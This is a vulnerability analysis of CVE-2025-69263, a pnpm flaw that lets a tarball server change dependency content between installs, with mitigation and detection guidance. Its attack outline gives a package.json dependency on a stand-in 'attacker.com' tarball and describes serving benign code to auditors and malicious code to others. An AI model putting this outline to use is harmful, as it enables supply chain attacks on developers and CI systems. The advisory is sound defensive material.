CVE-2025-69263: 
JavaScript vulnerability analysis and mitigation

CVE-2025-69263 is a lockfile integrity bypass vulnerability in pnpm (a Node.js package manager) that allows remote servers to serve different tarball content on each install, enabling supply chain attacks. Disclosed on January 7, 2026, it affects all pnpm versions below 10.26.0. The vulnerability was discovered by researcher orenyomtov and published by pnpm maintainer zkochan. It carries a CVSS v3.1 base score of 7.5 (High) per the official GitHub Advisory, with an EPSS score of approximately 0.009% (Github Advisory, pnpm Advisory).

The root cause is classified as CWE-494 (Download of Code Without Integrity Check). In pnpm's tarball resolver (resolving/tarball-resolver/src/index.ts), when a package depends on an HTTP/HTTPS tarball URL or a git-hosted tarball, the resolver returns only the URL in the resolution object without computing or storing an integrity hash — meaning the lockfile entry contains no integrity field to verify against on subsequent installs. This affects HTTP/HTTPS tarball URLs (e.g., "pkg": "https://example.com/pkg.tgz"), git shorthand dependencies (e.g., "pkg": "github:user/repo"), and git URLs (e.g., "pkg": "git+https://github.com/user/repo"); npm registry packages are not affected since they include integrity hashes from registry metadata. Because pnpm cannot detect content changes without an integrity hash, a malicious server can serve different code on each install even when a lockfile is committed to version control (pnpm Advisory, Github Advisory).

Successful exploitation enables targeted supply chain attacks where an attacker controlling an HTTP tarball server can serve different malicious code to different users or CI/CD environments based on request metadata such as IP address, headers, or timing — allowing evasion of security audits by serving benign code during review and malicious code to production environments. The attack affects confidentiality, integrity, and availability at a high level, as arbitrary code execution in the victim's build or runtime environment is possible. All users who install a package (directly or transitively) that depends on an HTTP or git-hosted tarball are at risk, and a committed lockfile provides no protection against this attack (pnpm Advisory, Github Advisory).

A proof-of-concept (PoC) is publicly available, attached to the GitHub Security Advisory as pnpm-bypass-integrity-poc.zip; it includes a server that returns different tarball content on each request, a malicious package depending on the HTTP tarball, and a victim project to demonstrate the attack. There is no evidence of in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA KEV catalog. The EPSS score is approximately 0.009% (1st percentile), indicating low near-term exploitation probability. No specific threat actor attribution has been reported (pnpm Advisory, Github Advisory).

1. Publish a malicious npm package: Create and publish an npm package whose package.json specifies a dependency via an HTTP tarball URL (e.g., "malicious-dep": "https://attacker.com/pkg.tgz") or a git shorthand (e.g., "github:attacker/repo").
2. Control the tarball server: Operate the HTTP server at the tarball URL so it can serve different content per request — for example, serving benign code to requests from known security audit IPs and malicious code to all others.
3. Wait for victim installation: When a victim runs pnpm install on a project that depends (directly or transitively) on the malicious package, pnpm fetches the tarball from the attacker-controlled URL.
4. Bypass lockfile protection: Because pnpm stores no integrity hash for HTTP tarball dependencies in the lockfile, each fresh install (e.g., after pnpm store prune or in a clean CI environment) re-fetches the tarball without any integrity verification, allowing the server to return different malicious content.
5. Achieve code execution: The malicious tarball content is installed into node_modules and executed as part of the victim's build process, install scripts, or runtime, enabling arbitrary code execution, credential theft, or further lateral movement (pnpm Advisory).

• Network: Outbound HTTP/HTTPS requests from build or CI systems to unexpected or external tarball URLs (non-registry domains) during pnpm install; repeated fetches to the same tarball URL returning different content sizes or hashes across installs.
• File System: Presence of node_modules packages installed from HTTP tarball URLs (identifiable by lockfile entries with resolution: {tarball: http://...} and no integrity field in pnpm-lock.yaml); unexpected or obfuscated scripts in installed package directories.
• Logs: pnpm install logs showing tarball downloads from non-registry URLs; discrepancies in package content between environments using the same committed lockfile.
• Process: Unexpected child processes spawned during or after pnpm install (e.g., network connections, file writes outside node_modules) originating from package install scripts (pnpm Advisory).

Upgrade pnpm to version 10.26.0 or later, which addresses the vulnerability by computing and storing integrity hashes for HTTP and git tarball dependencies in the lockfile. As an interim workaround, audit your dependency tree for any HTTP or git-hosted tarball dependencies and replace them with integrity-verified alternatives from the npm registry. Additionally, consider implementing package manager security policies that restrict HTTP tarball dependencies and require all dependencies to use secure package registries with integrity verification. IBM API Connect users should refer to the IBM advisory for product-specific remediation guidance (pnpm Advisory, IBM Advisory).

The vulnerability received notable coverage as part of the broader "PackageGate" research, which identified multiple zero-days across JavaScript package managers. BleepingComputer reported on how attackers can bypass npm's "Shai Hulud" defenses via git dependencies, directly referencing this class of vulnerability. SecurityWeek covered the PackageGate flaws as opening the JavaScript ecosystem to supply chain attacks. The koi.ai research blog published a detailed write-up titled "PackageGate: 6 Zero-Days in JS Package Managers" that contextualized CVE-2025-69263 alongside related issues. The CVE appeared in Reddit's CVEWatch trending lists for January 20–21, 2026, indicating community interest (BleepingComputer, SecurityWeek, koi.ai Blog).